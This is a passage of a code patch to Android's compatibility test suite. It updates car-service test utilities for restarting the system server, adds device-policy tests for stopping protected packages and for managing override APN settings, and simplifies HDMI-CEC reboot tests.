--- a/hostsidetests/car/util/src/android/car/cts/CarHostJUnit4TestCase.java
+++ b/hostsidetests/car/util/src/android/car/cts/CarHostJUnit4TestCase.java
@@ -58,7 +58,10 @@
// NOTE: must be public because of @Rules
public abstract class CarHostJUnit4TestCase extends BaseHostJUnit4Test {
+ private static final int SYSTEM_USER_ID = 0;
+
private static final int DEFAULT_TIMEOUT_SEC = 20;
+ protected static final int SYSTEM_RESTART_TIMEOUT_SEC = 120;
private static final Pattern CREATE_USER_OUTPUT_PATTERN = Pattern.compile("id=(\\d+)");
@@ -351,7 +354,7 @@
* Waits until the system server is ready.
*/
protected void waitForCarServiceReady() throws Exception {
- CommonTestUtils.waitUntil("timed out waiting for system server ",
+ CommonTestUtils.waitUntil("timed out waiting for car service",
DEFAULT_TIMEOUT_SEC, () -> isCarServiceReady());
}
@@ -416,18 +419,19 @@
}
/**
- * Waits until the current user is ephemeral.
+ * Waits until the current user is not the system user.
*/
- protected void waitUntilCurrentUserIsEphemeral() throws Exception {
- waitUntil(() -> isUserEphemeral(getCurrentUserId()), "current user %d (to be ephemeral)",
- getCurrentUserId());
+ protected void waitUntilCurrentUserIsNotSystem(int timeoutSec) throws Exception {
+ CommonTestUtils.waitUntil("timed out (" + timeoutSec + "s) waiting for current user to NOT "
+ + "be the system user", timeoutSec, () -> getCurrentUserId() != SYSTEM_USER_ID);
}
/**
* Waits until {@code n} persistent (i.e., non-ephemeral) users are available.
*/
- protected void waitUntilAtLeastNPersistentUsersAreAvailable(int n) throws Exception {
- waitUntil(() -> getAllPersistentUsers().size() >= n, "%d persistent users", n);
+ protected void waitUntilAtLeastNPersistentUsersAreAvailable(int timeoutSec, int n)
+ throws Exception {
+ waitUntil(timeoutSec, () -> getAllPersistentUsers().size() >= n, "%d persistent users", n);
}
/**
@@ -509,29 +513,51 @@
* {@link ITestDevice#reboot()} would reset them.
*/
protected void restartSystemServer() throws Exception {
- // Root should be enabled to restart systemServer
- boolean isRoot = getDevice().isAdbRoot();
+ long uptimeBefore = getSystemServerUptime();
+ CLog.d("Uptime before restart: %d", uptimeBefore);
- try {
- if (!isRoot) {
- getDevice().enableAdbRoot();
- }
- final ITestDevice device = getDevice();
+ restartOrReboot();
+
+ getDevice().waitForDeviceAvailable();
+
+ // Also checks for uptime - it might be an overkill, but at least it will add more logs,
+ // which could help in case of issues
+ CommonTestUtils.waitUntil("timed out waiting until for new system server uptime",
+ SYSTEM_RESTART_TIMEOUT_SEC, () -> {
+ long uptimeAfter = getSystemServerUptime();
+ CLog.d("Uptime after restart: %d", uptimeAfter);
+ return uptimeAfter != -1 && uptimeAfter != uptimeBefore;
+ });
+
+ waitForCarServiceReady();
+ }
+
+ private void restartOrReboot() throws DeviceNotAvailableException {
+ ITestDevice device = getDevice();
+
+ if (device.isAdbRoot()) {
+ CLog.d("Restarting system server");
device.executeShellCommand("stop");
device.executeShellCommand("start");
- device.waitForDeviceAvailable();
- waitForCarServiceReady();
- } finally {
- if (!isRoot) {
- getDevice().disableAdbRoot();
- }
+ return;
}
+
+ CLog.d("Only root user can restart system server; rebooting instead");
+ getDevice().reboot();
+ }
+
+ /**
+ * Gets the system server uptime (or {@code -1} if not available).
+ */
+ protected long getSystemServerUptime() throws DeviceNotAvailableException {
+ return getDevice().getIntProperty("sys.system_server.start_uptime", -1);
}
/**
* Reboots the device.
*/
protected void reboot() throws Exception {
+ CLog.d("Rebooting device");
getDevice().reboot();
}
diff --git a/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java b/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
index d4a1164..e7d954f 100644
--- a/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
+++ b/hostsidetests/compilation/src/android/compilation/cts/BackgroundDexOptimizationTest.java
@@ -88,6 +88,7 @@
@Before
public void setUp() throws Exception {
mDevice = getDevice();
+ assertThat(mDevice.waitForBootComplete(REBOOT_TIMEOUT_MS)).isTrue();
}
@Test
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
index 3630cee..4da5fff 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserControlDisabledPackagesTest.java
@@ -80,6 +80,23 @@
assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
}
+ public void testFgsStopWithUserControlDisabled() throws Exception {
+ final ArrayList<String> pkgs = new ArrayList<>();
+ pkgs.add(SIMPLE_APP_PKG);
+ // Check if package is part of UserControlDisabledPackages before checking if
+ // package is stopped since it is a necessary condition to prevent stopping of
+ // package
+
+ assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho()))
+ .containsExactly(SIMPLE_APP_PKG);
+ assertPackageRunningState(/* running= */ true);
+ }
+
+ public void testFgsStopWithUserControlEnabled() throws Exception {
+ assertPackageRunningState(/* running= */ false);
+ assertThat(mDevicePolicyManager.getUserControlDisabledPackages(getWho())).isEmpty();
+ }
+
private boolean isPackageStopped(String packageName) throws Exception {
PackageInfo packageInfo = mContext.getPackageManager()
.getPackageInfoAsUser(packageName, PackageManager.GET_META_DATA,
@@ -97,4 +114,15 @@
getCurrentUser().getIdentifier())
.that(isPackageStopped(SIMPLE_APP_PKG)).isEqualTo(stopped);
}
+
+ private boolean isPackageRunning(String packageName) throws Exception {
+ String pid = executeShellCommand(String.format("pidof %s", packageName)).trim();
+ return pid.length() > 0;
+ }
+
+ private void assertPackageRunningState(boolean shouldBeRunning) throws Exception {
+ assertWithMessage("Package %s running for user %s", SIMPLE_APP_PKG,
+ getCurrentUser().getIdentifier())
+ .that(isPackageRunning(SIMPLE_APP_PKG)).isEqualTo(shouldBeRunning);
+ }
}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/OverrideApnTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/OverrideApnTest.java
new file mode 100755
index 0000000..e835677
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/OverrideApnTest.java
@@ -0,0 +1,244 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.managedprofile;
+
+import android.net.Uri;
+import android.telephony.TelephonyManager;
+import android.telephony.data.ApnSetting;
+
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.List;
+
+/**
+ * Test override APN APIs.
+ * TODO: b/232548859
+ */
+public class OverrideApnTest extends BaseManagedProfileTest {
+ private static final String TEST_APN_NAME = "testEnterpriseApnName";
+ private static final String UPDATE_APN_NAME = "updateEnterpriseApnName";
+ private static final String TEST_ENTRY_NAME = "testEnterpriseEntryName";
+ private static final String UPDATE_ETNRY_NAME = "updateEnterpriseEntryName";
+ private static final String TEST_OPERATOR_NUMERIC = "123456789";
+ private static final int TEST_PROXY_PORT = 123;
+ private static final String TEST_PROXY_ADDRESS = "123.123.123.123";
+ private static final Uri TEST_MMSC = Uri.parse("http://www.google.com");
+ private static final String TEST_USER_NAME = "testUser";
+ private static final String TEST_PASSWORD = "testPassword";
+ private static final int TEST_AUTH_TYPE = ApnSetting.AUTH_TYPE_CHAP;
+ private static final int TEST_APN_TYPE_BITMASK = ApnSetting.TYPE_ENTERPRISE;
+ private static final int TEST_APN_TYPE_BITMASK_WRONG = ApnSetting.TYPE_DEFAULT;
+ private static final int TEST_PROTOCOL = ApnSetting.PROTOCOL_IPV4V6;
+ private static final int TEST_NETWORK_TYPE_BITMASK = TelephonyManager.NETWORK_TYPE_CDMA;
+ private static final int TEST_MVNO_TYPE = ApnSetting.MVNO_TYPE_GID;
+ private static final boolean TEST_ENABLED = true;
+ private static final int TEST_CARRIER_ID = 100;
+ private static final int UPDATE_CARRIER_ID = 101;
+
+ private static final ApnSetting TEST_APN_FULL;
+ static {
+ TEST_APN_FULL = new ApnSetting.Builder()
+ .setApnName(TEST_APN_NAME)
+ .setEntryName(TEST_ENTRY_NAME)
+ .setOperatorNumeric(TEST_OPERATOR_NUMERIC)
+ .setProxyAddress(TEST_PROXY_ADDRESS)
+ .setProxyPort(TEST_PROXY_PORT)
+ .setMmsc(TEST_MMSC)
+ .setMmsProxyAddress(TEST_PROXY_ADDRESS)
+ .setMmsProxyPort(TEST_PROXY_PORT)
+ .setUser(TEST_USER_NAME)
+ .setPassword(TEST_PASSWORD)
+ .setAuthType(TEST_AUTH_TYPE)
+ .setApnTypeBitmask(TEST_APN_TYPE_BITMASK)
+ .setProtocol(TEST_PROTOCOL)
+ .setRoamingProtocol(TEST_PROTOCOL)
+ .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
+ .setMvnoType(TEST_MVNO_TYPE)
+ .setCarrierEnabled(TEST_ENABLED)
+ .setCarrierId(TEST_CARRIER_ID)
+ .build();
+ }
+
+ private static InetAddress getProxyInetAddress(String proxyAddress) {
+ try {
+ return InetAddress.getByName(proxyAddress);
+ } catch (UnknownHostException e) {
+ return null;
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+ for (ApnSetting apn : apnList) {
+ boolean deleted = mDevicePolicyManager.removeOverrideApn(ADMIN_RECEIVER_COMPONENT,
+ apn.getId());
+ assertTrue("Failed to clean up override APNs.", deleted);
+ }
+ }
+
+ public void testAddGetRemoveOverrideApn() throws Exception {
+ int insertedId = mDevicePolicyManager.addOverrideApn(ADMIN_RECEIVER_COMPONENT,
+ TEST_APN_FULL);
+ assertTrue(insertedId != 0);
+ List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+
+ assertEquals(1, apnList.size());
+ assertEquals(TEST_OPERATOR_NUMERIC, apnList.get(0).getOperatorNumeric());
+ assertEquals(TEST_ENTRY_NAME, apnList.get(0).getEntryName());
+ assertEquals(TEST_APN_NAME, apnList.get(0).getApnName());
+ assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getProxyAddress());
+ assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getProxyAddressAsString());
+ assertEquals(TEST_PROXY_PORT, apnList.get(0).getProxyPort());
+ assertEquals(TEST_MMSC, apnList.get(0).getMmsc());
+ assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getMmsProxyAddress());
+ assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getMmsProxyAddressAsString());
+ assertEquals(TEST_PROXY_PORT, apnList.get(0).getMmsProxyPort());
+ assertEquals(TEST_USER_NAME, apnList.get(0).getUser());
+ assertEquals(TEST_PASSWORD, apnList.get(0).getPassword());
+ assertEquals(TEST_AUTH_TYPE, apnList.get(0).getAuthType());
+ assertEquals(TEST_APN_TYPE_BITMASK, apnList.get(0).getApnTypeBitmask());
+ assertEquals(TEST_PROTOCOL, apnList.get(0).getProtocol());
+ assertEquals(TEST_PROTOCOL, apnList.get(0).getRoamingProtocol());
+ assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
+ assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
+ assertEquals(TEST_NETWORK_TYPE_BITMASK, apnList.get(0).getNetworkTypeBitmask());
+ assertEquals(TEST_CARRIER_ID, apnList.get(0).getCarrierId());
+
+ assertTrue(mDevicePolicyManager.removeOverrideApn(ADMIN_RECEIVER_COMPONENT, insertedId));
+ apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+ assertEquals(0, apnList.size());
+ }
+
+ public void testAddOverrideApnIncorrectApn() throws Exception {
+ int insertedId = mDevicePolicyManager.addOverrideApn(ADMIN_RECEIVER_COMPONENT,
+ TEST_APN_FULL);
+ assertTrue(insertedId != 0);
+ List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+
+ assertEquals(1, apnList.size());
+ assertEquals(TEST_OPERATOR_NUMERIC, apnList.get(0).getOperatorNumeric());
+ assertEquals(TEST_ENTRY_NAME, apnList.get(0).getEntryName());
+ assertEquals(TEST_APN_NAME, apnList.get(0).getApnName());
+ assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getProxyAddress());
+ assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getProxyAddressAsString());
+ assertEquals(TEST_PROXY_PORT, apnList.get(0).getProxyPort());
+ assertEquals(TEST_MMSC, apnList.get(0).getMmsc());
+ assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getMmsProxyAddress());
+ assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getMmsProxyAddressAsString());
+ assertEquals(TEST_PROXY_PORT, apnList.get(0).getMmsProxyPort());
+ assertEquals(TEST_USER_NAME, apnList.get(0).getUser());
+ assertEquals(TEST_PASSWORD, apnList.get(0).getPassword());
+ assertEquals(TEST_AUTH_TYPE, apnList.get(0).getAuthType());
+ assertEquals(TEST_APN_TYPE_BITMASK_WRONG, apnList.get(0).getApnTypeBitmask());
+ assertEquals(TEST_PROTOCOL, apnList.get(0).getProtocol());
+ assertEquals(TEST_PROTOCOL, apnList.get(0).getRoamingProtocol());
+ assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
+ assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
+ assertEquals(TEST_NETWORK_TYPE_BITMASK, apnList.get(0).getNetworkTypeBitmask());
+ assertEquals(TEST_CARRIER_ID, apnList.get(0).getCarrierId());
+
+ apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+ assertEquals(0, apnList.size());
+ }
+
+ public void testUpdateOverrideApn() throws Exception {
+ int insertedId = mDevicePolicyManager.addOverrideApn(ADMIN_RECEIVER_COMPONENT,
+ TEST_APN_FULL);
+ assertNotSame(-1, insertedId);
+
+ final ApnSetting updateApn = new ApnSetting.Builder()
+ .setApnName(UPDATE_APN_NAME)
+ .setEntryName(UPDATE_ETNRY_NAME)
+ .setOperatorNumeric(TEST_OPERATOR_NUMERIC)
+ .setProxyAddress(TEST_PROXY_ADDRESS)
+ .setProxyPort(TEST_PROXY_PORT)
+ .setMmsc(TEST_MMSC)
+ .setMmsProxyAddress(TEST_PROXY_ADDRESS)
+ .setMmsProxyPort(TEST_PROXY_PORT)
+ .setUser(TEST_USER_NAME)
+ .setPassword(TEST_PASSWORD)
+ .setAuthType(TEST_AUTH_TYPE)
+ .setApnTypeBitmask(TEST_APN_TYPE_BITMASK)
+ .setProtocol(TEST_PROTOCOL)
+ .setRoamingProtocol(TEST_PROTOCOL)
+ .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
+ .setMvnoType(TEST_MVNO_TYPE)
+ .setCarrierEnabled(TEST_ENABLED)
+ .setCarrierId(UPDATE_CARRIER_ID)
+ .build();
+ assertTrue(mDevicePolicyManager.updateOverrideApn(ADMIN_RECEIVER_COMPONENT,
+ insertedId, updateApn));
+
+ List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+
+ assertEquals(1, apnList.size());
+ assertEquals(TEST_OPERATOR_NUMERIC, apnList.get(0).getOperatorNumeric());
+ assertEquals(UPDATE_ETNRY_NAME, apnList.get(0).getEntryName());
+ assertEquals(UPDATE_APN_NAME, apnList.get(0).getApnName());
+ assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getProxyAddress());
+ assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getProxyAddressAsString());
+ assertEquals(TEST_PROXY_PORT, apnList.get(0).getProxyPort());
+ assertEquals(TEST_MMSC, apnList.get(0).getMmsc());
+ assertEquals(getProxyInetAddress(TEST_PROXY_ADDRESS), apnList.get(0).getMmsProxyAddress());
+ assertEquals(TEST_PROXY_ADDRESS, apnList.get(0).getMmsProxyAddressAsString());
+ assertEquals(TEST_PROXY_PORT, apnList.get(0).getMmsProxyPort());
+ assertEquals(TEST_USER_NAME, apnList.get(0).getUser());
+ assertEquals(TEST_PASSWORD, apnList.get(0).getPassword());
+ assertEquals(TEST_AUTH_TYPE, apnList.get(0).getAuthType());
+ assertEquals(TEST_APN_TYPE_BITMASK, apnList.get(0).getApnTypeBitmask());
+ assertEquals(TEST_PROTOCOL, apnList.get(0).getProtocol());
+ assertEquals(TEST_PROTOCOL, apnList.get(0).getRoamingProtocol());
+ assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
+ assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
+ assertEquals(UPDATE_CARRIER_ID, apnList.get(0).getCarrierId());
+
+ assertTrue(mDevicePolicyManager.removeOverrideApn(ADMIN_RECEIVER_COMPONENT, insertedId));
+ }
+
+ public void testUpdateOverrideApnWrongApn() throws Exception {
+ int insertedId = mDevicePolicyManager.addOverrideApn(ADMIN_RECEIVER_COMPONENT,
+ TEST_APN_FULL);
+ assertNotSame(-1, insertedId);
+
+ final ApnSetting updateApn = new ApnSetting.Builder()
+ .setApnName(UPDATE_APN_NAME)
+ .setEntryName(UPDATE_ETNRY_NAME)
+ .setOperatorNumeric(TEST_OPERATOR_NUMERIC)
+ .setProxyAddress(TEST_PROXY_ADDRESS)
+ .setProxyPort(TEST_PROXY_PORT)
+ .setMmsc(TEST_MMSC)
+ .setMmsProxyAddress(TEST_PROXY_ADDRESS)
+ .setMmsProxyPort(TEST_PROXY_PORT)
+ .setUser(TEST_USER_NAME)
+ .setPassword(TEST_PASSWORD)
+ .setAuthType(TEST_AUTH_TYPE)
+ .setApnTypeBitmask(TEST_APN_TYPE_BITMASK_WRONG)
+ .setProtocol(TEST_PROTOCOL)
+ .setRoamingProtocol(TEST_PROTOCOL)
+ .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
+ .setMvnoType(TEST_MVNO_TYPE)
+ .setCarrierEnabled(TEST_ENABLED)
+ .setCarrierId(UPDATE_CARRIER_ID)
+ .build();
+ assertTrue(mDevicePolicyManager.updateOverrideApn(ADMIN_RECEIVER_COMPONENT,
+ insertedId, updateApn));
+ List<ApnSetting> apnList = mDevicePolicyManager.getOverrideApns(ADMIN_RECEIVER_COMPONENT);
+ assertEquals(0, apnList.size());
+ }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 966c6ed..13d6d70 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -386,6 +386,11 @@
executeShellCommand("am force-stop --user " + userId + " " + packageName);
}
+ protected void fgsStopPackageForUser(String packageName, int userId) throws Exception {
+ // TODO Move this logic to ITestDevice
+ executeShellCommand("am stop-app --user " + userId + " " + packageName);
+ }
+
protected String executeShellCommand(String commandTemplate, Object...args) throws Exception {
return executeShellCommand(String.format(commandTemplate, args));
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 560e10f..e6487e4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -498,6 +498,8 @@
executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
}
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
+ reason = "Will be migrated to new test infra")
@Test
public void testDelegatedCertInstaller() throws Exception {
installAppAsUser(CERT_INSTALLER_APK, mUserId);
@@ -1057,6 +1059,8 @@
executeDeviceTestClass(".KeyManagementTest");
}
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
@Test
public void testInstallKeyPairLogged() throws Exception {
assertMetricsLogged(getDevice(), () -> {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 546b127..0d0bd8f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -872,12 +872,40 @@
// Launch the activity again to get it out of stopped state on the primary user.
startProtectedPackage(mPrimaryUserId);
// Try to force-stop the package under test on the primary user.
- tryStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ false);
+ tryForceStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ false);
} finally {
// Clear the protected packages so that the package under test can be force-stopped.
runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
"testClearSetUserControlDisabledPackages", mPrimaryUserId);
- tryStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ true);
+ tryForceStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ true);
+
+ // Removal of the installed simple app on the primary user is done in tear down.
+ }
+ }
+
+ @Test
+ public void testSetUserControlDisabledPackages_singleUser_reboot_verifyPackageNotFgsStopped()
+ throws Exception {
+ try {
+ installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+ startProtectedPackage(mPrimaryUserId);
+ // Set the package under test as a protected package.
+ executeDeviceTestMethod(".UserControlDisabledPackagesTest",
+ "testSetUserControlDisabledPackages");
+
+ // Reboot and verify protected packages are persisted
+ rebootAndWaitUntilReady();
+
+ // The simple app package seems to be set into stopped state on reboot.
+ // Launch the activity again to get it out of stopped state on the primary user.
+ startProtectedPackage(mPrimaryUserId);
+ // Try to task-manager stop the package under test on the primary user.
+ tryFgsStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ false);
+ } finally {
+ // Clear the protected packages so that the package under test can be stopped.
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+ "testClearSetUserControlDisabledPackages", mPrimaryUserId);
+ tryFgsStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ true);
// Removal of the installed simple app on the primary user is done in tear down.
}
@@ -921,12 +949,65 @@
// Launch the activity again to get it out of stopped state for the created user.
startProtectedPackage(userId);
// Try to force-stop the package under test on the created user.
- tryStoppingProtectedPackage(userId, /* canUserStopPackage= */ false);
+ tryForceStoppingProtectedPackage(userId, /* canUserStopPackage= */ false);
} finally {
// Clear the protected packages so that the package under test can be force-stopped.
runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
"testClearSetUserControlDisabledPackages", mPrimaryUserId);
- tryStoppingProtectedPackage(userId, /* canUserStopPackage= */ true);
+ tryForceStoppingProtectedPackage(userId, /* canUserStopPackage= */ true);
+
+ // Removal of the created user and the installed simple app on the created user are
+ // done in tear down.
+ }
+ } finally {
+ setStopBgUsersOnSwitchProperty(stopBgUsersOnSwitchValue);
+ }
+ }
+
+ @Test
+ @Ignore("b/204508654")
+ public void testSetUserControlDisabledPackages_multiUser_reboot_verifyPackageNotFgsStopped()
+ throws Exception {
+ assumeCanCreateAdditionalUsers(1);
+ final int userId = createUser();
+
+ String stopBgUsersOnSwitchValue = getStopBgUsersOnSwitchProperty();
+ try {
+ // Set it to zero otherwise test will crash on automotive when switching users
+ setStopBgUsersOnSwitchProperty("0");
+ try {
+ installAppAsUser(SIMPLE_APP_APK, userId);
+ switchUser(userId);
+ startProtectedPackage(userId);
+ // Set the package under test as a protected package.
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+ "testSetUserControlDisabledPackages", mPrimaryUserId);
+
+ // Reboot and verify protected packages are persisted.
+ CLog.i("Reboot");
+ rebootAndWaitUntilReady();
+ CLog.i("Device is ready");
+
+ if (isHeadlessSystemUserMode()) {
+ // Device stars on last user, so we need to explicitly start the user running
+ // the tests
+ startUser(mPrimaryUserId);
+ } else {
+ // Device starts on the primary user and not on the last user (i.e. the created
+ // user) before the reboot occurred.
+ switchUser(userId);
+ }
+
+ // The simple app package seems to be set into stopped state on reboot.
+ // Launch the activity again to get it out of stopped state for the created user.
+ startProtectedPackage(userId);
+ // Try to force-stop the package under test on the created user.
+ tryFgsStoppingProtectedPackage(userId, /* canUserStopPackage= */ false);
+ } finally {
+ // Clear the protected packages so that the package under test can be force-stopped.
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+ "testClearSetUserControlDisabledPackages", mPrimaryUserId);
+ tryFgsStoppingProtectedPackage(userId, /* canUserStopPackage= */ true);
// Removal of the created user and the installed simple app on the created user are
// done in tear down.
@@ -950,11 +1031,11 @@
/**
* Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
- * attempts to stop the protected package under test for a given user.
+ * attempts to force-stop the protected package under test for a given user.
* @param userId The user Id to stop the package for
* @param canUserStopPackage Whether the user can force stop the protected package
*/
- private void tryStoppingProtectedPackage(int userId, boolean canUserStopPackage)
+ private void tryForceStoppingProtectedPackage(int userId, boolean canUserStopPackage)
throws Exception {
forceStopPackageForUser(SIMPLE_APP_PKG, userId);
if (canUserStopPackage) {
@@ -966,6 +1047,25 @@
}
}
+ /**
+ * Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
+ * attempts to apply the "task-manager" FGS stop operation to the protected package under test
+ * for a given user.
+ * @param userId The user Id to stop the package for
+ * @param canUserStopPackage Whether the user should be able to stop the app
+ */
+ private void tryFgsStoppingProtectedPackage(int userId, boolean canUserStopPackage)
+ throws Exception {
+ fgsStopPackageForUser(SIMPLE_APP_PKG, userId);
+ if (canUserStopPackage) {
+ executeDeviceTestMethod(".UserControlDisabledPackagesTest",
+ "testFgsStopWithUserControlEnabled");
+ } else {
+ executeDeviceTestMethod(".UserControlDisabledPackagesTest",
+ "testFgsStopWithUserControlDisabled");
+ }
+ }
+
@Test
public void testDevicePolicySafetyCheckerIntegration_allOperations() throws Exception {
executeDeviceTestMethod(".DevicePolicySafetyCheckerIntegrationTest", "testAllOperations");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 6080a3c..d1c21ae 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -123,6 +123,16 @@
}
@Test
+ public void testOverrideApn() throws Exception {
+ assumeHasTelephonyFeature();
+
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OverrideApnTest",
+ "testAddGetRemoveOverrideApn", mProfileUserId);
+ runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".OverrideApnTest",
+ "testUpdateOverrideApn", mProfileUserId);
+ }
+
+ @Test
public void testCannotCallMethodsOnParentProfile() throws Exception {
runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ParentProfileTest",
"testCannotWipeParentProfile", mProfileUserId);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 0ffc025..fd3ed3d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -61,8 +61,7 @@
@Test
public void cect_10_2_5_1_RebootLogicalAddress() throws Exception {
ITestDevice device = getDevice();
- device.executeShellCommand("reboot");
- device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+ device.reboot();
String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
assertThat(CecMessage.getSource(message)).isEqualTo(AUDIO_DEVICE);
}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
index d6da4c3..93d8100 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecStartupTest.java
@@ -20,7 +20,6 @@
import android.hdmicec.cts.BaseHdmiCecCtsTest;
import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecConstants;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -70,8 +69,7 @@
CecOperand.GIVE_SYSTEM_AUDIO_MODE_STATUS));
